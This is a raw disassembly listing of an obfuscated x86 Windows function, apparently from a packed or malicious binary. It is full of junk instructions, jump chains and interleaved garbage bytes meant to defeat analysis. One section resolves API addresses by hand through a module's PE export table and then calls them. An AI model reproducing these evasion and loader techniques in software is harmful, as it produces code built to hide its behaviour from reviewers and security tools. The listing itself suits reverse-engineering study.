		lea	edx, ds:80A09Ah
		cld
		pop	ebx
		pop	edx
		add	edi, [ebp-8]
		push	ebx
		push	ecx
		xor	ebx, esp
		dec	ebx
		cld
		pop	ecx
		pop	ebx
		test	ebx, ebx
		jz	loc_40336C
		push	ebx
		push	eax
		inc	ebx
		mov	ax, 4B89h
		neg	eax
		mov	bx, 48FCh
		mov	eax, edx
		neg	ebx
		mov	eax, ecx
		adc	ebx, 809FDAh
		cld
		pop	eax
		pop	ebx
		test	ebx, 80000000h
		jnz	loc_402A3B
		jmp	short loc_402951
; ---------------------------------------------------------------------------
		mov	eax, ds:0DDB487C6h
		push	edx
		and	esp, [eax]
		fstp	dword ptr [esi-556AB381h]
		wait
		cmp	[ecx], dl
		jbe	short loc_4029AC


loc_402935:				; CODE XREF: sub_4021E2:loc_402951j
		jmp	short loc_402961
; ---------------------------------------------------------------------------
		db 0E4h
		dd 5013024Dh, 7C6F4E49h, 688B5A05h, 14672681h, 8003B2BDh
		dd 0AC5FFEB9h
		db 75h
; ---------------------------------------------------------------------------


loc_402951:				; CODE XREF: sub_4021E2+73Ej
		jmp	short loc_402935
; ---------------------------------------------------------------------------
		or	bh, [ebx-68h]


loc_402956:				; CODE XREF: sub_4021E2:loc_402961j
		jmp	short loc_402986
; ---------------------------------------------------------------------------
		icebp
		setalc
		push	edi
		inc	esp
		sub	eax, 29B0F362h


loc_402961:				; CODE XREF: sub_4021E2:loc_402935j
		jmp	short loc_402956
; ---------------------------------------------------------------------------
		db 0AEh
		dd 0BAE5DC4Fh, 8661C86Bh, 129D7447h, 5E99E0E3h,	6A550C3Fh
		dd 36D1F85Bh, 0C20DA437h, 0E0910D3h
		db 2Fh,	3Ch
; ---------------------------------------------------------------------------


loc_402986:				; CODE XREF: sub_4021E2:loc_402956j
		add	ebx, edx
		push	edx
		push	esi
		mov	dx, 4999h
		mov	esi, ebp
		add	edx, 808A5Ah
		xchg	edx, esi
		stc
		cld
		pop	esi
		pop	edx
		inc	ebx
		jmp	short loc_4029CA
; ---------------------------------------------------------------------------
		db 0D4h
; ---------------------------------------------------------------------------
		jge	short loc_402A14


loc_4029A2:				; CODE XREF: sub_4021E2:loc_4029CAj
		jmp	short loc_4029DD
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 40h,	79h, 0BEh
		dd 0CA356C1Fh
; ---------------------------------------------------------------------------


loc_4029AC:				; CODE XREF: sub_4021E2+751j
		cmp	ebx, [eax-4Fh]
		xchg	eax, esi
		pop	ss
		add	al, 0EDh
		and	dh, [ebx+0F6EE970h]
		pushf
		movsd
		jp	short loc_4029E8
		mov	[ecx], ah
		inc	esi
		pop	es
		xor	al, 5Dh
		shl	byte ptr [ebx-0E1A660h], cl
		int	3		; Trap to Debugger


loc_4029CA:				; CODE XREF: sub_4021E2+7BBj
		jmp	short loc_4029A2
; ---------------------------------------------------------------------------
		db 15h,	2Ah
byte_4029CE	db 1Bh			; CODE XREF: sub_4021E2+80Bj
; ---------------------------------------------------------------------------


loc_4029CF:				; CODE XREF: sub_4021E2:loc_4029DDj
		jmp	short loc_4029F8
; ---------------------------------------------------------------------------
		db 0B8h, 91h, 0F6h
		dd 82CD64F7h, 0CEC9D093h
		db 0EFh
; ---------------------------------------------------------------------------


loc_4029DD:				; CODE XREF: sub_4021E2:loc_4029A2j
		jmp	short loc_4029CF
; ---------------------------------------------------------------------------
		db 0FCh
		dd 0E80BDA85h, 94E7A601h
; ---------------------------------------------------------------------------


loc_4029E8:				; CODE XREF: sub_4021E2+7D9j
		cmp	eax, 39008332h
		jle	short near ptr byte_4029CE
		sub	al, 0F5h
		mov	bh, bl
		sbb	[ecx+56h], dh
		xlat
; ---------------------------------------------------------------------------
		db 0C4h
; ---------------------------------------------------------------------------


loc_4029F8:				; CODE XREF: sub_4021E2:loc_4029CFj
		inc	ebx
		jmp	short loc_402A28
; ---------------------------------------------------------------------------
		db 30h
		db 0A9h, 2Eh
; ---------------------------------------------------------------------------


loc_4029FE:				; CODE XREF: sub_4021E2:loc_402A28j
		jmp	short loc_402A3B
; ---------------------------------------------------------------------------
		dd 3A655CCFh, 6E148EBh,	921DF4C7h, 0DE196063h, 0EAD58CBFh
; ---------------------------------------------------------------------------


loc_402A14:				; CODE XREF: sub_4021E2+7BEj
		fstp	tbyte ptr [eax+51h]
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
; ---------------------------------------------------------------------------


loc_402A28:				; CODE XREF: sub_4021E2+817j
		jmp	short loc_4029FE
; ---------------------------------------------------------------------------
		dw 54A7h
		dd 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h
; ---------------------------------------------------------------------------
		xor	[esi], edx
		xchg	eax, edi


loc_402A3B:				; CODE XREF: sub_4021E2+738j
					; sub_4021E2:loc_4029FEj
		push	ebx
		jmp	short loc_402A6A
; ---------------------------------------------------------------------------
		dw 8FEEh
		dd 0ABFA251Ch
		db 8
; ---------------------------------------------------------------------------


loc_402A45:				; CODE XREF: sub_4021E2:loc_402A6Aj
		jmp	short loc_402A7A
; ---------------------------------------------------------------------------
		db 0A1h
		dd 0DDB487C6h, 0D9202352h, 954C7F9Eh, 11389BAAh, 4DE47776h
		dd 49501302h, 57C6F4Eh,	81688B5Ah
		db 26h,	67h
; ---------------------------------------------------------------------------


loc_402A6A:				; CODE XREF: sub_4021E2+85Aj
		jmp	short loc_402A45
; ---------------------------------------------------------------------------
		dd 3B2BD14h
		db 80h,	0B9h
; ---------------------------------------------------------------------------


loc_402A72:				; CODE XREF: sub_4021E2:loc_402A7Aj
		jmp	short loc_402A9D
; ---------------------------------------------------------------------------
		dd 75AC5FFEh
		db 0Ah,	7Bh
; ---------------------------------------------------------------------------


loc_402A7A:				; CODE XREF: sub_4021E2:loc_402A45j
		jmp	short loc_402A72
; ---------------------------------------------------------------------------
		dd 57D6F198h, 0F3622D44h, 4FAE29B0h, 6BBAE5DCh,	478661C8h
		dd 0E3129D74h, 3F5E99E0h, 5B6A550Ch
; ---------------------------------------------------------------------------
		clc


loc_402A9D:				; CODE XREF: sub_4021E2:loc_402A72j
		and	ebx, 7FFFFFFFh
		jmp	short loc_402ACE
; ---------------------------------------------------------------------------
		or	[esi], ecx
		das


loc_402AA8:				; CODE XREF: sub_4021E2:loc_402ACEj
		jmp	short loc_402AE1
; ---------------------------------------------------------------------------
		dw 0C53Ch
		dd 41284B1Ah, 7DD427E6h, 7940C372h, 356C1FBEh, 0B1583BCAh
		dd 0ED041796h, 0E970B322h, 0A59C0F6Eh
; ---------------------------------------------------------------------------
		jp	short loc_402AF9


loc_402ACE:				; CODE XREF: sub_4021E2+8C1j
		jmp	short loc_402AA8
; ---------------------------------------------------------------------------
		dd 7462188h
		db 34h
; ---------------------------------------------------------------------------


loc_402AD5:				; CODE XREF: sub_4021E2:loc_402AE1j
		jmp	short loc_402B01
; ---------------------------------------------------------------------------
		db 5Dh
		dd 59A0A3D2h, 15CCFF1Eh
		db 2Ah
; ---------------------------------------------------------------------------


loc_402AE1:				; CODE XREF: sub_4021E2:loc_402AA8j
		jmp	short loc_402AD5
; ---------------------------------------------------------------------------
		db 1Bh
		db 0B8h, 91h
; ---------------------------------------------------------------------------


loc_402AE6:				; CODE XREF: sub_4021E2:loc_402B01j
		jmp	short loc_402B17
; ---------------------------------------------------------------------------
		dd 0CD64F7F6h, 0C9D09382h, 85FCEFCEh, 1E80BDAh
; ---------------------------------------------------------------------------
		cmpsb


loc_402AF9:				; CODE XREF: sub_4021E2+8EAj
		out	94h, eax
		cmp	eax, 39008332h
; ---------------------------------------------------------------------------
		db 7Eh
; ---------------------------------------------------------------------------


loc_402B01:				; CODE XREF: sub_4021E2:loc_402AD5j
		jmp	short loc_402AE6
; ---------------------------------------------------------------------------
		db 0DFh
		dd 0FB8AF52Ch, 0D7567118h, 73E2ADC4h, 0CF2EA930h
		db 5Ch,	65h, 3Ah
; ---------------------------------------------------------------------------


loc_402B17:				; CODE XREF: sub_4021E2:loc_402AE6j
		push	ebx
		jmp	short loc_402B45
; ---------------------------------------------------------------------------
		dw 0C706h
		db 0F4h
; ---------------------------------------------------------------------------


loc_402B1D:				; CODE XREF: sub_4021E2:loc_402B45j
		jmp	short loc_402B58
; ---------------------------------------------------------------------------
		sbb	eax, 19606392h
		fidivr	word ptr [edi-24152A74h]
		js	short loc_402B7D
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		dw 0C1A8h
		dd 0FD54A766h, 0F9C043F2h
		db 3Eh
; ---------------------------------------------------------------------------


loc_402B45:				; CODE XREF: sub_4021E2+936j
		jmp	short loc_402B1D
; ---------------------------------------------------------------------------
		db 9Fh
		dd 0BB4AB5ECh, 971631D8h, 33A26D84h, 8FEE69F0h
; ---------------------------------------------------------------------------


loc_402B58:				; CODE XREF: sub_4021E2:loc_402B1Dj
		push	dword ptr [ebp-4]
		push	edx
		push	ecx
		cmp	ecx, eax
		jno	loc_402B67
		not	edx


loc_402B67:				; CODE XREF: sub_4021E2+97Dj
		mov	edx, 80C99Ah
		cld
		pop	ecx
		pop	edx
		push	1FC0EAEEh
		jmp	short loc_402BA0
; ---------------------------------------------------------------------------
		dw 2352h
; ---------------------------------------------------------------------------
		and	cl, bl
		sahf
		jg	short loc_402BC9


loc_402B7D:				; CODE XREF: sub_4021E2+948j
					; sub_4021E2:loc_402BA0j
		jmp	short loc_402BB1
; ---------------------------------------------------------------------------
		db 95h
		dd 11389BAAh, 4DE47776h, 49501302h, 57C6F4Eh, 81688B5Ah
		dd 0BD146726h, 0B98003B2h, 75AC5FFEh
; ---------------------------------------------------------------------------


loc_402BA0:				; CODE XREF: sub_4021E2+992j
		jmp	short loc_402B7D
; ---------------------------------------------------------------------------
		or	bh, [ebx-68h]


loc_402BA5:				; CODE XREF: sub_4021E2+A03j
		icebp
		setalc


loc_402BA7:				; CODE XREF: sub_4021E2+A00j
		push	edi


loc_402BA8:				; CODE XREF: sub_4021E2:loc_402BB1j
		jmp	short loc_402BD8
; ---------------------------------------------------------------------------
		dw 2D44h
		dd 29B0F362h
; ---------------------------------------------------------------------------
		scasb


loc_402BB1:				; CODE XREF: sub_4021E2:loc_402B7Dj
		jmp	short loc_402BA8
; ---------------------------------------------------------------------------
		db 4Fh
		dd 6BBAE5DCh
		db 0C8h
; ---------------------------------------------------------------------------


loc_402BB9:				; CODE XREF: sub_4021E2:loc_402BD8j
		jmp	short loc_402BE8
; ---------------------------------------------------------------------------
		db 61h
		dd 9D744786h, 99E0E312h, 550C3F5Eh
		db 6Ah
; ---------------------------------------------------------------------------


loc_402BC9:				; CODE XREF: sub_4021E2+999j
		pop	ebx
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h
		push	cs
		das
		cmp	al, 0C5h


loc_402BD8:				; CODE XREF: sub_4021E2:loc_402BA8j
		jmp	short loc_402BB9
; ---------------------------------------------------------------------------
		dw 4B1Ah
; ---------------------------------------------------------------------------
		sub	[ecx-1Ah], al
		daa
		aam	7Dh
		jb	short loc_402BA7
		inc	eax
		jns	short loc_402BA5
		pop	ds


loc_402BE8:				; CODE XREF: sub_4021E2:loc_402BB9j
		push	dword ptr [ebp+10h]
		push	eax
		push	edi
		cmp	eax, 808A9Ah
		lea	eax, ds:80CD1Ah
		not	edi
		std
		push	edx
		pop	edi
		test	eax, ebx
		cld
		pop	edi
		pop	eax
		call	near ptr sub_401692
		push	ebx
		push	edi
		xchg	ebx, edi
		dec	ebx
		cld
		pop	edi
		pop	ebx
		call	eax
		push	eax
		push	edx
		adc	eax, 80889Ah
		mov	dx, 494Bh
		clc
		cld
		pop	edx
		pop	eax
		pop	ebx
		push	edx
		push	edi
		not	edx
		dec	edx
		cmp	ah, dl
		test	cl, ch
		mov	edi, 80CA5Ah
		xor	edx, ecx
		inc	edi
		cld
		pop	edi
		pop	edx
		test	eax, eax
		jnz	loc_4032E2
		jmp	short loc_402C6E
; ---------------------------------------------------------------------------
		db 0A5h, 7Ah, 2Bh
		dd 7462188h, 0A3D25D34h
; ---------------------------------------------------------------------------


loc_402C4C:				; CODE XREF: sub_4021E2:loc_402C6Ej
		jmp	short loc_402C7E
; ---------------------------------------------------------------------------
		dw 59A0h
		dd 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h, 0C9D09382h, 85FCEFCEh
		dd 1E80BDAh, 3D94E7A6h
		db 32h,	83h
; ---------------------------------------------------------------------------


loc_402C6E:				; CODE XREF: sub_4021E2+A5Dj
		jmp	short loc_402C4C
; ---------------------------------------------------------------------------
		dd 0DF7E3900h
		db 2Ch
; ---------------------------------------------------------------------------


loc_402C75:				; CODE XREF: sub_4021E2:loc_402C7Ej
		jmp	short loc_402CA5
; ---------------------------------------------------------------------------
		cmc
		mov	bh, bl
		sbb	[ecx+56h], dh
		xlat


loc_402C7E:				; CODE XREF: sub_4021E2:loc_402C4Cj
		jmp	short loc_402C75
; ---------------------------------------------------------------------------
		dd 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch, 0C706E148h, 63921DF4h
		db 60h,	19h
; ---------------------------------------------------------------------------


loc_402C96:				; CODE XREF: sub_4021E2:loc_402CA5j
		jmp	short loc_402CC4
; ---------------------------------------------------------------------------
		fidivr	word ptr [edi-24152A74h]
		js	short loc_402CF1
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx


loc_402CA5:				; CODE XREF: sub_4021E2:loc_402C75j
		jmp	short loc_402C96
; ---------------------------------------------------------------------------
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h, 0BB4AB5ECh, 971631D8h
; ---------------------------------------------------------------------------


loc_402CC4:				; CODE XREF: sub_4021E2:loc_402C96j
		test	ebx, 80000000h
		jnz	loc_402D6F
		jmp	short loc_402CFE
; ---------------------------------------------------------------------------
		dw 69F0h
		dd 251C8FEEh
; ---------------------------------------------------------------------------
		cli


loc_402CD9:				; CODE XREF: sub_4021E2:loc_402CFEj
		jmp	short loc_402D0E
; ---------------------------------------------------------------------------
		db 0ABh
		dd 87C6A108h, 2352DDB4h, 7F9ED920h, 9BAA954Ch, 77761138h
		db 0E4h
; ---------------------------------------------------------------------------


loc_402CF1:				; CODE XREF: sub_4021E2+ABCj
		dec	ebp
		add	dl, [ebx]
		push	eax
		dec	ecx
		dec	esi
		outsd
		jl	short near ptr loc_402CFE+1
		pop	edx
		mov	ebp, [eax-7Fh]


loc_402CFE:				; CODE XREF: sub_4021E2+AEEj
					; sub_4021E2+B16j
		jmp	short loc_402CD9
; ---------------------------------------------------------------------------
		dd 0BD146726h, 0B98003B2h, 75AC5FFEh
		db 0Ah,	7Bh
; ---------------------------------------------------------------------------


loc_402D0E:				; CODE XREF: sub_4021E2:loc_402CD9j
		push	95902B19h
		push	esi
		push	ebx
		xchg	ebx, esi
		xor	esi, ecx
		test	cl, al
		cmp	ch, al
		mov	esi, esp
		dec	esi
		cld
		pop	ebx
		pop	esi
		push	dword ptr [ebp+10h]
		push	ebx
		push	edx
		xchg	edx, ebx
		mov	dx, 4A66h
		mov	edx, esi
		dec	ebx
		cmp	bh, ah
		cld
		pop	edx
		pop	ebx
		call	near ptr sub_401692
		push	esi
		push	eax
		mov	eax, 80C81Ah
		mov	esi, esp
		mov	ax, 4912h
		test	eax, edx
		neg	eax
		cld
		pop	eax
		pop	esi
		push	0
		push	edi
		push	esi
		not	esi
		js	loc_402D5F
		cmp	esi, edx
		test	ecx, ebx


loc_402D5F:				; CODE XREF: sub_4021E2+B73j
		test	cl, bl
		stc
		cld
		pop	esi
		pop	edi
		call	eax
		push	ebx
		push	edx
		xor	edx, esp
		stc
		cld
		pop	edx
		pop	ebx


loc_402D6F:				; CODE XREF: sub_4021E2+AE8j
		and	ebx, 7FFFFFFFh
		push	ecx
		push	ebx
		cmp	edi, ebp
		rep cld
		pop	ebx
		pop	ecx
		mov	eax, [ebp+426h]
		push	esi
		push	edi
		nop


loc_402D86:				; CODE XREF: sub_4021E2+BC2j
		dec	esi
		cmp	ebx, ebx
		mov	edi, esi
		rcl	edi, 4Ah
		mov	esi, esi
		inc	esi
		xchg	esi, esi
		repne cld
		pop	edi
		pop	esi
		cmp	[ebp-4], eax
		jnz	loc_4031C0
		jmp	short loc_402DD2
; ---------------------------------------------------------------------------
		dw 129Dh
; ---------------------------------------------------------------------------
		jecxz	short loc_402D86
		cdq
		pop	esi
		aas


loc_402DA9:				; CODE XREF: sub_4021E2:loc_402DD2j
		jmp	short loc_402DE9
; ---------------------------------------------------------------------------
		db 0Ch
		dd 0F85B6A55h, 0A43736D1h, 10D3C20Dh, 3C2F0E09h, 284B1AC5h
		dd 0D427E641h, 40C3727Dh, 6C1FBE79h, 583BCA35h
; ---------------------------------------------------------------------------
		mov	cl, 96h


loc_402DD2:				; CODE XREF: sub_4021E2+BBEj
		jmp	short loc_402DA9
; ---------------------------------------------------------------------------
		dd 22ED0417h
; ---------------------------------------------------------------------------
		mov	bl, 70h


loc_402DDA:				; CODE XREF: sub_4021E2:loc_402DE9j
		jmp	short loc_402E08
; ---------------------------------------------------------------------------
		dd 9C0F6EE9h, 882B7AA5h, 34074621h
; ---------------------------------------------------------------------------
		pop	ebp


loc_402DE9:				; CODE XREF: sub_4021E2:loc_402DA9j
		jmp	short loc_402DDA
; ---------------------------------------------------------------------------
		db 0D2h
		dd 1E59A0A3h, 2A15CCFFh, 0F691B81Bh, 82CD64F7h,	0CEC9D093h
		dd 0DA85FCEFh, 0A601E80Bh
; ---------------------------------------------------------------------------


loc_402E08:				; CODE XREF: sub_4021E2:loc_402DDAj
		push	edi
		jmp	short loc_402E3A
; ---------------------------------------------------------------------------
		align 4
		db 39h,	7Eh
; ---------------------------------------------------------------------------


loc_402E0E:				; CODE XREF: sub_4021E2:loc_402E3Aj
		jmp	short loc_402E4D
; ---------------------------------------------------------------------------
		dd 8AF52CDFh, 567118FBh, 0E2ADC4D7h, 2EA93073h,	3A655CCFh
		dd 6E148EBh, 921DF4C7h,	0DE196063h, 0EAD58CBFh,	0B65178DBh
; ---------------------------------------------------------------------------
		mov	bh, 24h


loc_402E3A:				; CODE XREF: sub_4021E2+C27j
		jmp	short loc_402E0E
; ---------------------------------------------------------------------------
		dd 9053428Dh
		db 89h,	8Eh, 0AFh
; ---------------------------------------------------------------------------


loc_402E43:				; CODE XREF: sub_4021E2:loc_402E4Dj
		jmp	short loc_402E70
; ---------------------------------------------------------------------------
		db 0BCh, 45h, 9Ah
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		test	al, 0C1h
		cmpsw


loc_402E4D:				; CODE XREF: sub_4021E2:loc_402E0Ej
		jmp	short loc_402E43
; ---------------------------------------------------------------------------
		db 54h
		dd 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h, 84971631h, 0F033A26Dh
		dd 1C8FEE69h, 8ABFA25h,	0B487C6A1h
; ---------------------------------------------------------------------------


loc_402E70:				; CODE XREF: sub_4021E2:loc_402E43j
		mov	edx, ebx
		jmp	short loc_402EA1
; ---------------------------------------------------------------------------
		db 4Ch,	95h, 0AAh
; ---------------------------------------------------------------------------


loc_402E77:				; CODE XREF: sub_4021E2:loc_402EA1j
		jmp	short loc_402EB7
; ---------------------------------------------------------------------------
		db 9Bh,	38h, 11h
		dd 4DE47776h, 49501302h, 57C6F4Eh, 81688B5Ah, 0BD146726h
		dd 0B98003B2h, 75AC5FFEh, 0F1987B0Ah, 2D4457D6h
		db 62h
; ---------------------------------------------------------------------------


loc_402EA1:				; CODE XREF: sub_4021E2+C90j
		jmp	short loc_402E77
; ---------------------------------------------------------------------------
		db 0F3h
; ---------------------------------------------------------------------------
		mov	al, 29h
		scasb


loc_402EA7:				; CODE XREF: sub_4021E2:loc_402EB7j
		jmp	short loc_402ED2
; ---------------------------------------------------------------------------
		db 4Fh,	0DCh, 0E5h
		dd 61C86BBAh, 9D744786h
		db 12h,	0E3h, 0E0h
; ---------------------------------------------------------------------------


loc_402EB7:				; CODE XREF: sub_4021E2:loc_402E77j
		jmp	short loc_402EA7
; ---------------------------------------------------------------------------
		cdq
		pop	esi
		aas


loc_402EBC:				; CODE XREF: sub_4021E2:loc_402ED2j
		jmp	short loc_402EED
; ---------------------------------------------------------------------------
		dw 550Ch
		dd 0D1F85B6Ah, 0DA43736h, 910D3C2h, 0C53C2F0Eh
		db 1Ah,	4Bh
; ---------------------------------------------------------------------------


loc_402ED2:				; CODE XREF: sub_4021E2:loc_402EA7j
		jmp	short loc_402EBC
; ---------------------------------------------------------------------------
		dd 27E64128h, 0C3727DD4h, 1FBE7940h, 3BCA356Ch,	1796B158h
		dd 0B322ED04h
		db 70h
; ---------------------------------------------------------------------------


loc_402EED:				; CODE XREF: sub_4021E2:loc_402EBCj
		dec	edx
		push	edi
		push	esi
		rcr	esi, 9Dh
		push	ebp
		pop	esi
		mov	edi, 80C8DAh
		cmp	dl, bh
		jmp	loc_402F04
; ---------------------------------------------------------------------------
		not	edi
		dec	esi


loc_402F04:				; CODE XREF: sub_4021E2+D1Aj
		xchg	esi, edi
		clc
		cld
		pop	esi
		pop	edi
		shl	edx, 2
		push	edi
		push	eax
		jmp	loc_402F1B
; ---------------------------------------------------------------------------
		mov	eax, 809C1Ah
		xchg	edi, eax


loc_402F1B:				; CODE XREF: sub_4021E2+D2Dj
		test	al, cl
		sub	edi, 80D21Ah
		cmp	edx, edi
		dec	edi
		cld
		pop	eax
		pop	edi
		mov	ebx, [ebp-4]
		push	esi
		push	ecx
		xor	esi, edi
		test	ecx, ecx
		not	ecx
		clc
		cld
		pop	ecx
		pop	esi
		mov	edi, [ebx+3Ch]
		jmp	short loc_402F68
; ---------------------------------------------------------------------------
		db 34h,	5Dh, 0D2h
; ---------------------------------------------------------------------------


loc_402F40:				; CODE XREF: sub_4021E2:loc_402F68j
		jmp	short loc_402F7A
; ---------------------------------------------------------------------------
		dw 0A0A3h
		dd 0CCFF1E59h, 0B81B2A15h, 64F7F691h, 0D09382CDh, 0FCEFCEC9h
		dd 0E80BDA85h, 94E7A601h, 83323Dh, 2CDF7E39h
; ---------------------------------------------------------------------------


loc_402F68:				; CODE XREF: sub_4021E2+D59j
		jmp	short loc_402F40
; ---------------------------------------------------------------------------
		dw 8AF5h
; ---------------------------------------------------------------------------


loc_402F6C:				; CODE XREF: sub_4021E2:loc_402F7Aj
		jmp	short loc_402F99
; ---------------------------------------------------------------------------
		dw 18FBh
		dd 0C4D75671h, 3073E2ADh
		db 0A9h, 2Eh
; ---------------------------------------------------------------------------


loc_402F7A:				; CODE XREF: sub_4021E2:loc_402F40j
		jmp	short loc_402F6C
; ---------------------------------------------------------------------------
		dd 3A655CCFh, 6E148EBh,	921DF4C7h, 0DE196063h, 0EAD58CBFh
		dd 0B65178DBh, 428D24B7h
; ---------------------------------------------------------------------------
		push	ebx


loc_402F99:				; CODE XREF: sub_4021E2:loc_402F6Cj
		mov	edi, [edi+ebx+78h]
		jmp	short loc_402FCF
; ---------------------------------------------------------------------------
		db 0AFh
		dd 0CB9A45BCh
; ---------------------------------------------------------------------------
		test	al, 0C1h


loc_402FA6:				; CODE XREF: sub_4021E2:loc_402FCFj
		jmp	short loc_402FE6
; ---------------------------------------------------------------------------
		dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h
		dd 69F033A2h, 251C8FEEh, 0A108ABFAh, 0DDB487C6h
; ---------------------------------------------------------------------------
		push	edx
		and	esp, [eax]


loc_402FCF:				; CODE XREF: sub_4021E2+DBBj
		jmp	short loc_402FA6
; ---------------------------------------------------------------------------
		db 0D9h, 9Eh, 7Fh
		dd 9BAA954Ch, 77761138h, 13024DE4h, 6F4E4950h
		db 7Ch,	5
; ---------------------------------------------------------------------------


loc_402FE6:				; CODE XREF: sub_4021E2:loc_402FA6j
		add	ebx, [edi+ebx+1Ch]
		jmp	short loc_403016
; ---------------------------------------------------------------------------
		dd 0BD146726h
		db 0B2h, 3, 80h
; ---------------------------------------------------------------------------


loc_402FF3:				; CODE XREF: sub_4021E2:loc_403016j
		jmp	short loc_403026
; ---------------------------------------------------------------------------
		db 0B9h, 0FEh, 5Fh
		dd 7B0A75ACh, 57D6F198h, 0F3622D44h, 4FAE29B0h,	6BBAE5DCh
		dd 478661C8h, 0E3129D74h
		db 0E0h, 99h
; ---------------------------------------------------------------------------


loc_403016:				; CODE XREF: sub_4021E2+E08j
		jmp	short loc_402FF3
; ---------------------------------------------------------------------------
		dd 550C3F5Eh, 0D1F85B6Ah, 0DA43736h
		db 0C2h, 0D3h
; ---------------------------------------------------------------------------


loc_403026:				; CODE XREF: sub_4021E2:loc_402FF3j
		mov	eax, [edx+ebx]
		jmp	short loc_40303B
; ---------------------------------------------------------------------------
		db 0E6h
		dd 727DD427h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		inc	eax


loc_403032:				; CODE XREF: sub_4021E2:loc_40303Bj
		jmp	short loc_403063
; ---------------------------------------------------------------------------
		dd 6C1FBE79h
		db 35h,	0CAh, 3Bh
; ---------------------------------------------------------------------------


loc_40303B:				; CODE XREF: sub_4021E2+E47j
		jmp	short loc_403032
; ---------------------------------------------------------------------------
		db 58h,	0B1h
; ---------------------------------------------------------------------------


loc_40303F:				; CODE XREF: sub_4021E2:loc_403063j
		jmp	short loc_403074
; ---------------------------------------------------------------------------
		xchg	eax, esi
		pop	ss
		add	al, 0EDh
		and	dh, [ebx+0F6EE970h]
		pushf
		movsd
		jp	short loc_40307A
		mov	[ecx], ah
		inc	esi
		pop	es
		xor	al, 5Dh
		shl	byte ptr [ebx-0E1A660h], cl
		int	3		; Trap to Debugger
		adc	eax, 91B81B2Ah	; CODE XREF: sub_4021E2+E9Dj
		div	bh


loc_403063:				; CODE XREF: sub_4021E2:loc_403032j
		jmp	short loc_40303F
; ---------------------------------------------------------------------------
		db 64h,	0CDh, 82h
		dd 0CEC9D093h
; ---------------------------------------------------------------------------


loc_40306C:				; CODE XREF: sub_4021E2:loc_403074j
		jmp	short loc_403097
; ---------------------------------------------------------------------------
		dw 0FCEFh
; ---------------------------------------------------------------------------
		test	ebx, edx
		or	ebp, eax


loc_403074:				; CODE XREF: sub_4021E2:loc_40303Fj
		jmp	short loc_40306C
; ---------------------------------------------------------------------------
		dw 0A601h
		db 0E7h, 94h
; ---------------------------------------------------------------------------


loc_40307A:				; CODE XREF: sub_4021E2+E6Bj
		cmp	eax, 39008332h
		jle	short near ptr loc_40305C+4
		sub	al, 0F5h
		mov	bh, bl
		sbb	[ecx+56h], dh
		xlat
		les	ebp, [ebp-56CF8C1Eh]
		db	2Eh
		iret
; ---------------------------------------------------------------------------
		db 5Ch,	65h, 3Ah
; ---------------------------------------------------------------------------
		jmp	short near ptr loc_4030DC+2
; ---------------------------------------------------------------------------
		db 0E1h
; ---------------------------------------------------------------------------


loc_403097:				; CODE XREF: sub_4021E2:loc_40306Cj
		add	eax, [ebp-4]
		jmp	short loc_4030CB
; ---------------------------------------------------------------------------
		db 0BFh, 8Ch, 0D5h
; ---------------------------------------------------------------------------


loc_40309F:				; CODE XREF: sub_4021E2:loc_4030CBj
		jmp	short loc_4030DF
; ---------------------------------------------------------------------------
		db 0EAh, 0DBh, 78h
; ---------------------------------------------------------------------------
		push	ecx
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h
		dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h, 84971631h
		db 6Dh,	0A2h, 33h
; ---------------------------------------------------------------------------


loc_4030CB:				; CODE XREF: sub_4021E2+EB8j
		jmp	short loc_40309F
; ---------------------------------------------------------------------------


loc_4030CD:				; CODE XREF: sub_4021E2:loc_4030DFj
		jmp	short loc_4030FA
; ---------------------------------------------------------------------------
		db 0F0h
		dd 1C8FEE69h, 8ABFA25h,	0B487C6A1h
; ---------------------------------------------------------------------------


loc_4030DC:				; CODE XREF: sub_4021E2+EB2j
		fst	qword ptr [edx+23h]


loc_4030DF:				; CODE XREF: sub_4021E2:loc_40309Fj
		jmp	short loc_4030CD
; ---------------------------------------------------------------------------
		db 20h
; ---------------------------------------------------------------------------


loc_4030E2:				; CODE XREF: sub_4021E2:loc_4030FAj
		jmp	short loc_403112
; ---------------------------------------------------------------------------
		dd 4C7F9ED9h, 389BAA95h, 0E4777611h, 5013024Dh,	7C6F4E49h
		db 5, 5Ah
; ---------------------------------------------------------------------------


loc_4030FA:				; CODE XREF: sub_4021E2:loc_4030CDj
		jmp	short loc_4030E2
; ---------------------------------------------------------------------------
		dd 2681688Bh, 0B2BD1467h, 0FEB98003h, 0A75AC5Fh, 0D6F1987Bh
; ---------------------------------------------------------------------------
		push	edi
		inc	esp


loc_403112:				; CODE XREF: sub_4021E2:loc_4030E2j
		pop	edi
		jmp	short loc_403142
; ---------------------------------------------------------------------------
		mov	al, 29h
		scasb


loc_403118:				; CODE XREF: sub_4021E2:loc_403142j
		jmp	short loc_403155
; ---------------------------------------------------------------------------
		dw 0DC4Fh
		dd 0C86BBAE5h, 74478661h, 0E0E3129Dh, 0C3F5E99h, 0F85B6A55h
		dd 0A43736D1h, 10D3C20Dh, 3C2F0E09h, 284B1AC5h
		db 41h,	0E6h
; ---------------------------------------------------------------------------


loc_403142:				; CODE XREF: sub_4021E2+F31j
		jmp	short loc_403118
; ---------------------------------------------------------------------------
